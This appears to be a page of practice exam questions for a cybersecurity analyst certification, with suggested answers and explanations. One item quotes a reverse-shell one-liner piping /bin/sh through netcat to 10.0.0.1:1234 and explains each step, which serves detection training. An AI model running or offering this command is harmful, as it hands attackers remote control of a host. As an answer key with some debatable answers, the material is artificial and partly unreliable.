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Following an incident, a security analyst needs to create a script for downloading the configuration of all assets from the cloud tenancy. Which of the following authentication methods should the analyst use?

A.
MFA
A.
MFA
Answers
B.
User and password
B.
User and password
Answers
C.
PAM
C.
PAM
Answers
D.
Key pair
D.
Key pair
Answers
Suggested answer: D

Explanation:

Key pair authentication is a method of using a public and private key to securely access cloud resources, such as downloading the configuration of assets from a cloud tenancy. Key pair authentication is more secure than user and password or PAM, and does not require an additional factor like MFA.

A security analyst detected the following suspicious activity:

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f

Which of the following most likely describes the activity?

A.
Network pivoting
A.
Network pivoting
Answers
B.
Host scanning
B.
Host scanning
Answers
C.
Privilege escalation
C.
Privilege escalation
Answers
D.
Reverse shell
D.
Reverse shell
Answers
Suggested answer: D

Explanation:

The command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f is a one-liner that creates a reverse shell from the target machine to the attacker's machine. It does the following steps:

* rm -f /tmp/f deletes any existing file named /tmp/f

* mknod /tmp/f p creates a named pipe (FIFO) file named /tmp/f

* cat /tmp/f|/bin/sh -i 2>&1 reads from the pipe and executes the commands using /bin/sh in interactive mode, redirecting the standard error to the standard output

* nc 10.0.0.1 1234 > tmp/f connects to the attacker's machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe

This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.

Reference

Hack the Galaxy

Reverse Shell Cheat Sheet

Which of the following can be used to learn more about TTPs used by cybercriminals?

A.
ZenMAP
A.
ZenMAP
Answers
B.
MITRE ATT&CK
B.
MITRE ATT&CK
Answers
C.
National Institute of Standards and Technology
C.
National Institute of Standards and Technology
Answers
D.
theHarvester
D.
theHarvester
Answers
Suggested answer: B

Explanation:

MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. It is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. It can help security professionals understand, detect, and mitigate cyber threats by providing a comprehensive framework of TTPs.

After updating the email client to the latest patch, only about 15% of the workforce is able to use email. Windows 10 users do not experience issues, but Windows 11 users have constant issues. Which of the following did the change management team fail to do?

A.
Implementation
A.
Implementation
Answers
B.
Testing
B.
Testing
Answers
C.
Rollback
C.
Rollback
Answers
D.
Validation
D.
Validation
Answers
Suggested answer: B

Explanation:

Testing is a crucial step in any change management process, as it ensures that the change is compatible with the existing systems and does not cause any errors or disruptions. In this case, the change management team failed to test the email client patch on Windows 11 devices, which resulted in a widespread issue for the users. Testing would have revealed the problem before the patch was deployed, and allowed the team to fix it or postpone the change.

The management team requests monthly KPI reports on the company's cybersecurity program. Which of the following KPIs would identify how long a security threat goes unnoticed in the environment?

A.
Employee turnover
A.
Employee turnover
Answers
B.
Intrusion attempts
B.
Intrusion attempts
Answers
C.
Mean time to detect
C.
Mean time to detect
Answers
D.
Level of preparedness
D.
Level of preparedness
Answers
Suggested answer: C

Explanation:

Mean time to detect (MTTD) is a metric that measures the average time it takes for an organization to discover or detect an incident. It is a key performance indicator in incident management and a measure of incident response capabilities. A low MTTD indicates that the organization can quickly identify security threats and minimize their impact12.

An incident response analyst is investigating the root cause of a recent malware outbreak. Initial binary analysis indicates that this malware disables host security services and performs cleanup routines on it infected hosts, including deletion of initial dropper and removal of event log entries and prefetch files from the host. Which of the following data sources would most likely reveal evidence of the root cause?

(Select two).

A.
Creation time of dropper
A.
Creation time of dropper
Answers
B.
Registry artifacts
B.
Registry artifacts
Answers
C.
EDR data
C.
EDR data
Answers
D.
Prefetch files
D.
Prefetch files
Answers
E.
File system metadata
E.
File system metadata
Answers
F.
Sysmon event log
F.
Sysmon event log
Answers
Suggested answer: B, C

Explanation:

Registry artifacts and EDR data are two data sources that can provide valuable information about the root cause of a malware outbreak. Registry artifacts can reveal changes made by the malware to the system configuration, such as disabling security services, modifying startup items, or creating persistence mechanisms1. EDR data can capture the behavior and network activity of the malware, such as the initial infection vector, the command and control communication, or the lateral movement2. These data sources can help the analyst identify the malware family, the attack technique, and the threat actor behind the outbreak.

During an incident, some loCs of possible ransomware contamination were found in a group of servers in a segment of the network. Which of the following steps should be taken next?

A.
Isolation
A.
Isolation
Answers
B.
Remediation
B.
Remediation
Answers
C.
Reimaging
C.
Reimaging
Answers
D.
Preservation
D.
Preservation
Answers
Suggested answer: A

Explanation:

Isolation is the first step to take after detecting some indicators of compromise (IoCs) of possible ransomware contamination. Isolation prevents the ransomware from spreading to other servers or segments of the network, and allows the security team to investigate and contain the incident. Isolation can be done by disconnecting the infected servers from the network, blocking the malicious traffic, or applying firewall rules12.

When investigating a potentially compromised host, an analyst observes that the process BGInfo.exe (PID 1024), a Sysinternals tool used to create desktop backgrounds containing host details, has bee running for over two days. Which of the following activities will provide the best insight into this potentially malicious process, based on the anomalous behavior?

A.
Changes to system environment variables
A.
Changes to system environment variables
Answers
B.
SMB network traffic related to the system process
B.
SMB network traffic related to the system process
Answers
C.
Recent browser history of the primary user
C.
Recent browser history of the primary user
Answers
D.
Activities taken by PID 1024
D.
Activities taken by PID 1024
Answers
Suggested answer: D

Explanation:

The activities taken by the process with PID 1024 will provide the best insight into this potentially malicious process, based on the anomalous behavior. BGInfo.exe is a legitimate tool that displays system information on the desktop background, but it can also be used by attackers to gather information about the compromised host or to disguise malicious processes12. By monitoring the activities of PID 1024, such as the files it accesses, the network connections it makes, or the commands it executes, the analyst can determine if the process is benign or malicious.

A vulnerability scan of a web server that is exposed to the internet was recently completed. A security analyst is reviewing the resulting vector strings:

Vulnerability 1: CVSS: 3.0/AV:N/AC: L/PR: N/UI : N/S: U/C: H/I : L/A:L

Vulnerability 2: CVSS: 3.0/AV: L/AC: H/PR:N/UI : N/S: U/C: L/I : L/A: H

Vulnerability 3: CVSS: 3.0/AV:A/AC: H/PR: L/UI : R/S: U/C: L/I : H/A:L

Vulnerability 4: CVSS: 3.0/AV: P/AC: L/PR: H/UI : N/S: U/C: H/I:N/A:L

Which of the following vulnerabilities should be patched first?

A.
Vulnerability 1
A.
Vulnerability 1
Answers
B.
Vulnerability 2
B.
Vulnerability 2
Answers
C.
Vulnerability 3
C.
Vulnerability 3
Answers
D.
Vulnerability 4
D.
Vulnerability 4
Answers
Suggested answer: A

A Chief Information Security Officer (CISO) wants to disable a functionality on a business-critical web application that is vulnerable to RCE in order to maintain the minimum risk level with minimal increased cost.

Which of the following risk treatments best describes what the CISO is looking for?

A.
Transfer
A.
Transfer
Answers
B.
Mitigate
B.
Mitigate
Answers
C.
Accept
C.
Accept
Answers
D.
Avoid
D.
Avoid
Answers
Suggested answer: B
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